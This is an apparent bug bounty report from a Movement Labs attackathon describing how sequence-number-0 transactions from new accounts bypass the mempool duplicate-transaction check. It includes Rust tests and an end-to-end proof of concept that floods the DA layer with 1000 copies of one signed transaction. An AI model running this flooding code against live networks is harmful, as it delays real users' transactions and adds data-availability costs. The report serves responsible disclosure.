42762 [BC-High] new accounts break the pipe mempool invariant that prevents duplicate transactions from filling the mempool
#42762 [BC-High] New accounts break the pipe mempool invariant that prevents duplicate transactions from filling the mempool
Submitted on Mar 26th 2025 at 02:00:54 UTC by @Capybara for Attackathon | Movement Labs
Report ID: #42762
Report Type: Blockchain/DLT
Report severity: High
Target: https://github.com/immunefi-team/attackathon-movement/tree/main/protocol-units/execution/maptos/opt-executor
Impacts:
Temporary freezing of network transactions by delaying one block by 500% or more of the average block time of the preceding 24 hours beyond standard difficulty adjustments
Description
Details
Invariants in the DA reject adding to the mempool two transactions from the same User using the same Sequence Number.
┌──┐ ┌──┐
│Tx│ │DA│
└┬─┘ └┬─┘
│ │
│User "Alice", Sequence number "1"│
│────────────────────────────────>│
│ │
│ Accepted! │
│<────────────────────────────────│
│ │
│User "Alice", Sequence number "1"│
│────────────────────────────────>│
│ │
│ Rejected! │
│<────────────────────────────────│
│ │
│User "Alice", Sequence number "2"│
│────────────────────────────────>│
│ │
│ Accepted! │
│<────────────────────────────────│
┌┴─┐ ┌┴─┐
│Tx│ │DA│
└──┘ └──┘
There's a test in the Opt Executor named test_pipe_mempool_with_duplicate_transaction ensuring code updates don't break this invariant:
#[tokio::test]
async fn test_pipe_mempool_with_duplicate_transaction() -> Result<(), anyhow::Error> {
// set up
let maptos_config = Config::default();
let (context, mut transaction_pipe, mut tx_receiver, _tempdir) = setup().await;
let mut mempool_client_sender = context.mempool_client_sender();
let user_transaction = create_signed_transaction(1, &maptos_config);
// send transaction to mempool
let (req_sender, callback) = oneshot::channel();
mempool_client_sender
.send(MempoolClientRequest::SubmitTransaction(user_transaction.clone(), req_sender))
.await?;
// tick the transaction pipe
transaction_pipe.tick().await?;
// receive the callback
let (status, _vm_status_code) = callback.await??;
assert_eq!(status.code, MempoolStatusCode::Accepted);
// receive the transaction
let received_transaction =
tx_receiver.recv().await.ok_or(anyhow::anyhow!("No transaction received"))?;
assert_eq!(received_transaction.1, user_transaction);
// send the same transaction again
let (req_sender, callback) = oneshot::channel();
mempool_client_sender
.send(MempoolClientRequest::SubmitTransaction(user_transaction.clone(), req_sender))
.await?;
// tick the transaction pipe
transaction_pipe.tick().await?;
callback.await??;
// assert that there is no new transaction
assert!(tx_receiver.try_recv().is_err());
Ok(())
}Link to code: https://github.com/immunefi-team/attackathon-movement/blob/a2790c6ac17b7cf02a69aea172c2b38d2be8ce00/protocol-units/execution/maptos/opt-executor/src/background/transaction_pipe.rs#L421-L461
The bug
All new accounts that have never submitted a transaction to the network start with a sequencer number of 0, and for such accounts 0 is a valid sequence number when submitting a transaction (it will be executed successfully).
┌──┐ ┌──┐
│Tx│ │DA│
└┬─┘ └┬─┘
│ │
│User "Alice", Sequence number "0"│
│────────────────────────────────>│
│ │
│ Accepted! │
│<────────────────────────────────│
┌┴─┐ ┌┴─┐
│Tx│ │DA│
└──┘ └──┘Unfortunately, valid transactions with a sequence number of 0 can bypass the logic that prevents the same transaction from being inserted in a block multiple times.
┌──┐ ┌──┐
│Tx│ │DA│
└┬─┘ └┬─┘
│ │
│User "Alice", Sequence number "0"│
│────────────────────────────────>│
│ │
│ Accepted! │
│<────────────────────────────────│
│ │
│User "Alice", Sequence number "0"│
│────────────────────────────────>│
│ │
│ Accepted! │
│<────────────────────────────────│
┌┴─┐ ┌┴─┐
│Tx│ │DA│
└──┘ └──┘Impact Details
Blockchain blocks have limited space. Filling a block with valid but non-executable transactions, like in this case (duplicating a tx using a sequence number of 0), delays real user transactions from getting processed.
Additionally, each proposed batch is added to Celestia, which costs.
Proof of Concept
Proof of Concept
I have 2 different proof of concept for this report.
The first one is as simple as updating the current test Movement Labs created for duplicate transactions by submitting the tx with a sequence number of 0.
The result is that the same assert check that used to pass in the original test will fail.
#[tokio::test]
async fn test_pipe_mempool_with_duplicate_transaction_capybara() -> Result<(), anyhow::Error> {
// set up
let maptos_config = Config::default();
let (context, mut transaction_pipe, mut tx_receiver, _tempdir) = setup().await;
let mut mempool_client_sender = context.mempool_client_sender();
let user_transaction = create_signed_transaction(0, &maptos_config);
// send transaction to mempool
let (req_sender, callback) = oneshot::channel();
mempool_client_sender
.send(MempoolClientRequest::SubmitTransaction(user_transaction.clone(), req_sender))
.await?;
// tick the transaction pipe
transaction_pipe.tick().await?;
// receive the callback
let (status, _vm_status_code) = callback.await??;
assert_eq!(status.code, MempoolStatusCode::Accepted);
// receive the transaction
let received_transaction =
tx_receiver.recv().await.ok_or(anyhow::anyhow!("No transaction received"))?;
assert_eq!(received_transaction.1, user_transaction);
// send the same transaction again
let (req_sender, callback) = oneshot::channel();
mempool_client_sender
.send(MempoolClientRequest::SubmitTransaction(user_transaction.clone(), req_sender))
.await?;
// tick the transaction pipe
transaction_pipe.tick().await?;
callback.await??;
// assert that there is no new transaction
assert!(tx_receiver.try_recv().is_err());
Ok(())
}Add it to: https://github.com/immunefi-team/attackathon-movement/blob/main/protocol-units/execution/maptos/opt-executor/src/background/transaction_pipe.rs#L419
The second proof of concept is an e2e test that can be included in the file https://github.com/immunefi-team/attackathon-movement/blob/main/protocol-units/da/movement/protocol/tests/src/test/e2e/raw/sequencer.rs
#[tokio::test]
async fn test_dups_capybara() -> Result<(), anyhow::Error> {
let mut client = LightNodeServiceClient::connect("http://0.0.0.0:30730").await?;
// Create accounts
let alice = LocalAccount::generate(&mut rand::rngs::OsRng);
let bob = LocalAccount::generate(&mut rand::rngs::OsRng);
println!("alice address: {:?}", alice.address());
println!("bob address: {:?}", bob.address());
// Fund account
let faucet_client = FaucetClient::new(Url::parse("http://0.0.0.0:30732").expect("reason"), Url::parse("http://0.0.0.0:30731").expect("reason"));
faucet_client.fund(alice.address(), 1_000_000).await.expect("Failed to fund sender account");
faucet_client.fund(bob.address(), 1_000_000).await.expect("Failed to fund Bob's account");
let mut transactions = vec![];
// Create txs
let amount: u64 = 100;
let coin = TypeTag::from_str("0x1::aptos_coin::AptosCoin").expect("");
let transaction_builder = TransactionBuilder::new(
TransactionPayload::EntryFunction(EntryFunction::new(
ModuleId::new(AccountAddress::from_str_strict("0x1")?, Identifier::new("coin")?),
Identifier::new("transfer")?,
vec![coin.clone()],
vec![to_bytes(&bob.address())?, to_bytes(&amount)?],
)),
SystemTime::now().duration_since(UNIX_EPOCH)?.as_secs() + 200,
ChainId::new(27u8),
)
.sender(alice.address())
.sequence_number(0)
.max_gas_amount(5_000)
.gas_unit_price(100);
// create the blob write
let mut signed_transaction: SignedTransaction = alice.evil_sign_fee_payer_with_transaction_builder(vec![], &alice, transaction_builder);
let serialized_aptos_transaction = bcs::to_bytes(&signed_transaction)?;
for i in 0..1000 {
let mut movement_transaction1 = Transaction::new(
serialized_aptos_transaction.clone(),
0,
i.clone(),
);
let serialized_transaction1 = serde_json::to_vec(&movement_transaction1)?;
transactions.push(BlobWrite { data: serialized_transaction1 });
}
let batch_write = BatchWriteRequest { blobs: transactions };
// write the batch to the DA
let batch_write_reponse = client.batch_write(batch_write).await?;
Ok(())
}Was this helpful?